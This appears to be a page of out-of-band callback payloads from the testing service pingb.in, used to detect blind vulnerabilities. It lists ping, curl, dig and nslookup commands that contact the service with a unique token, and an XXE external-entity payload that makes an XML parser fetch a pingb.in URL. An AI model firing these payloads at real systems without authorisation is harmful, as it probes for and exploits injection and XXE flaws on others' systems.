$ ping -c1 -p 00566f2cca500041d6b427539748df00 pingb.in
 

$ curl pingb.in/p/566f2cca500041d6b427539748df
 

$ dig 566f2cca500041d6b427539748df @pingb.in
 

$ dig 566f2cca500041d6b427539748df.ns.pingb.in
 

C:\> nslookup 566f2cca500041d6b427539748df pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/566f2cca500041d6b427539748df">]>
    <foo>&xxe;</foo>